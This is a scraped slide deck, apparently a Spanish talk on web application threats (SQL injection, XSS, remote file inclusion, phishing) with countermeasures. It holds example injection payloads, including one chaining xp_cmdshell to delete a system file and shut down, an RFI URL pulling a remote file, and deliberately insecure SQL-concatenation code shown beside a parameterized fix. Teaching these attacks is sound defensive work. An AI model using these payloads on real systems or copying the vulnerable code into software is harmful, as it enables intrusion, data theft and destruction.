1.21k likes | 1.71k Views
Seguridad en Aplicaciones Web. Amenazas Web. Chema Alonso MS MVP Windows Server Security chema@informatica64.com. Agenda Amenazas Web. Aplicaciones Web Vulnerabilidades: Sql Injection Vulnerabilidades: Cross-Site Scripting Vulnerabilidades: RFI Vulnerabilidades: Phising
E N D
Amenazas Web Chema Alonso MS MVP Windows Server Security chema@informatica64.com
Agenda Amenazas Web • Aplicaciones Web • Vulnerabilidades: Sql Injection • Vulnerabilidades: Cross-Site Scripting • Vulnerabilidades: RFI • Vulnerabilidades: Phising • Vulnerabilidades: WebTrojan • Vulnerabilidades: Capa 8
Tipos de Aplicaciones Web • Web Site público. • Información destinada al público. • Intranet (ERP/CRM/Productividad) • Información privada de acceso interno. • Extranet (Productividad/B2B/B2C) • Información privada de acceso externo.
Arquitectura Multicapa Interfaz de Usuario (GUI) Lógica de la Aplicación Almacén De Datos DCOM BBDD WebServer Browser WebService BBDD WebServer RPC
Amenazas • Zone-h contabiliza 2.500 intrusiones Web con éxito cada día en 2004. • Se atacan todas las tecnologías • Los ataques se han escalado desde el sistema operativo a la aplicación. • Ataques no masivos. • Motivos: • Económicos • Venganza • Reto • Just For Fun
Cliente - Riesgos • Navegador de Internet: • Ejecuta código en contexto de usuario. • Lenguajes potentes: • HTML/DHTML • vbScript/JavaScript/Jscript • Programas embebidos • Applets Java • ActiveX • Shockwave Flash • Códigos No protegidos • Cifrado cliente: Atrise. • Ofuscación de código.
Código y poder • El código fuente es poder • Tanto para defenderse como para atacar • Compartir el código es compartir el poder. • Con los atacantes y defensores • Publicar el código fuente sin hacer nada más degrada la seguridad • Por el contrario, publicar el código fuente permite a los defensores y a otros elevar la seguridad al nivel que les convenga.
Software Seguro • El software Fiable es aquel que hace lo que se supone que debe hacer. • El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas. • Son los sorprendentes “algo mas” los que producen inseguridad. • Para estar seguro, debes de ejecutar solo software perfecto :-) • O, hacer algo para mitigar ese “algo mas”
Cliente - Riesgos • Ninguna protección en cliente es buena • Utilización de técnicas de MITM • Achilles • BurpSuite • Odysseus… • Decompiladores • Flash • Java
Lógica de Aplicación - Riesgos • Servidor Web • Ejecuta código en contextos privilegiados. • Lenguajes potentes • Acceden a BBDD • Envían programas a clientes • Transferir ficheros • Ejecutar comandos sobre el sistema. • Soporte para herramientas de administración de otro software. • Códigos de Ejemplo
Almacén de Datos - Riesgos • SGBD • Lenguaje de 3ª y 4ª Generación. • Soporta múltiples bases de datos. • Catálogo global de datos. • Ejecuta programas sobre Sistema. • LOPD. • Transacciones económicas. • Información clave de negocio.
Explotación del Ataque • Aplicaciones con mala comprobación de datos de entrada. • Datos de usuario. • Formularios • Text • Password • Textarea • List • multilist • Datos de llamadas a procedimientos. • Links • Funciones Scripts • Actions • Datos de usuario utilizados en consultas a base de datos. • Mala construcción de consultas a bases de datos.
Riesgos • Permiten al atacante: • Saltar restricciones de acceso. • Elevación de privilegios. • Extracción de información de la Base de Datos • Parada de SGBDR. • Ejecución de comandos en contexto usuario bd dentro del servidor.
Tipos de Ataques • Ejemplo 1: • Autenticación de usuario contra base de datos. Select idusuario from tabla_usuarios Where nombre_usuario=‘$usuario’ And clave=‘$clave’; Usuario Clave ****************
Tipos de Ataques • Ejemplo 1 (cont) Select idusuario from tabla_usuarios Where nombre_usuario=‘Administrador’ And clave=‘’ or ‘1’=‘1’; Usuario Administrador Clave ‘ or ‘1’=‘1
Tipos de Ataques • Ejemplo 2: • Acceso a información con procedimientos de listado. http://www.miweb.com/prog.asp?parametro1=hola Ó http://www.miweb.com/prog.asp?parametro1=1
Tipos de Ataques • Ejemplo 2 (cont): http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:\boot.ini”); shutdown -- Ó http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; --
Contramedidas • No confianza en medias de protección en cliente. • Comprobación de datos de entrada. • Construcción segura de sentencias SQL. • Fortificación de Servidor Web. • Códigos de error. • Restricción de verbos, longitudes, etc.. • Filtrado de contenido HTTP en Firewall. • Fortificación de SGBD. • Restricción de privilegios de motor/usuario de acceso desde web. • Aislamiento de bases de datos.
Contramedidas • Desarrollo .NET • Redirigir a una página personalizada en caso de error • Web.Config • Mode On, Off, RemoteOnly • DefaultRedirect Error no especificado • <error…>Errores específicos <customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm"> <error statusCode="403" redirect="NoAccess.htm"/> <error statusCode="404" redirect="FileNotFound.htm"/> </customErrors>
Contramedidas • Desarrollo .NET (Validadores)
Contramedidas protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from Usuarios where login='"+ txtLogin.Text +"‘ and password='"+ txtPassword.Text +"'"; cmd.CommandType = CommandType.Text; SqlDataReader dr = cmd.ExecuteReader(); if (dr.HasRows){ //Código para permitir el paso a la aplicación Response.Write("<script>alert('Acceso permitido');</script>"); } else{ //Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); } • Desarrollos en .NET (Código inseguro)
Contramedidas • Desarrollo .NET (Código seguro) • Consultas parametrizadas protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from Usuarios where login=@login and password=@pass"; cmd.Parameters.AddWithValue("login", txtLogin); cmd.Parameters.AddWithValue("pass", txtPassword.Text); cmd.CommandType = CommandType.Text; dr = cmd.ExecuteReader(); if (dr.HasRows){//Código para permitir el paso a la aplicación Response.Write("<script>alert('Acceso permitido');</script>"); } else{//Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); }
Explotación del Ataque • Datos almacenados en servidor desde cliente. • Datos van a ser visualizados por otros cliente/usuario. • Datos no filtrados. No comprobación de que sean dañinos al cliente que visualiza.
Riesgos • Ejecución de código en contexto de usuario que visualiza datos. • Navegación dirigida • Phising • Spyware • Robo de credenciales • Ejecución de acciones automáticas • Defacement
Tipos de Ataques • Mensajes en Foros. • Firma de libro de visitas. • Contactos a través de web. • Correo Web. • En todos ellos se envían códigos Script dañinos.
Robo de Sesiones (XSS) • Mediante esta técnica se puede robar sesiones de una manera bastante sencilla • Bastaría con realizar un script que llamase a una página alojada en nuestro servidor pasándole la cookie • Este Script se colaría en el servidor de la victima aprovechando un punto vulnerable a XSS • Cuando un usuario este logueado en el servidor y ejecute el script se enviara a nuestro servidor el contenido de la cookie
Robo de Sesiones (XSS) • Una vez que la página obtiene la cookie (almacenandola por ejemplo en un fichero) mediante programas como Odysseus se puede hacer una llamada al servidor pasándole la cookie original • Por supuesto esta cookie es válida para robar la sesión solo mientras el usuario no cierre la sesión
Contramedidas • Fortificación de aplicación • Comprobación fiable de datos • Fortificación de Clientes • Ejecución de clientes en entorno menos privilegiado. • Fortificación de navegador cliente. • MBSA. • Políticas.
Contramedidas • Desarrollo .NET • En ASP.NET el Cross Site Scripting está deshabilitado por defecto • El Framework se encarga de buscar posibles ataques de este tipo en las entradas de datos • Se puede deshabilitar este tipo de verificación mediante un atributo de la directiva @Page • Para deshabilitarlo <%@ Page …ValidateRequest=“false” … %>
Remote File Inclusion (RFI) • Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores • Se debe a una mala programación o uso de la función include() • Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor
Remote File Inclusion (RFI) • La vulnerabilidad es producida por código semejante a este • En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor $page = $_GET['page']; include($page); http://victima.com/pagvuln.php?page=http://[misitio]/miFichero
Remote File Inclusion (RFI) • Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)
Remote File Inclusion (RFI) • Mediante las shell PHP se pueden ejecutar comandos en una página Web • Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc. • “El inconveniente” es que la mayoría de servidores Web en PHP tienen deshabilitadas las funciones exec, system o passthru que impiden la ejecución de comandos
Remote File Inclusion (RFI) • Sin embargo, existen funciones como show_source(‘archivo’) que permiten la visualización del código fuente de una página • A su vez, existen otra serie de funciones que nos permiten listar el contenido de un directorio • El uso de estas funciones no puede ser limitado y no depende del SO sobre el que se encuentra instalado el Servidor Web
Explotación del Ataque • Basado en técnicas de Ingeniería Social. • Se aprovecha de la confianza de los usuarios. • Se aprovecha de la falta de formación en seguridad de los usuarios. • Certificados digitales no generados por Entidades Emisoras de Certificados de confianza.
Riesgos • Suplantación de Sitios Web para engañar al usuario. • Robo de credenciales de acceso a web restringidos. • Robo de dinero • Compras por Internet • Bromas pesadas
Tipos de Ataques • Se falsea la dirección de DNS del servidor • Falsificación hosts • Troyanos, Físicamente, Shellcodes exploits • DHCP • DNS Spoofing • Man in The Middle • Se engaña la navegación. • Frames Ocultos • URLs falseadas. • Se implanta en la nueva ubicación un servidor replica. • Se implantan hasta fakes de certificados digitales
Exploits infohacking.com
Contramedidas • Uso de CA de confianza • Formación a usuarios • Gestión de actualizaciones de seguridad • Códigos de aplicaciones seguras • Control físico de la red • Comprobación DHCP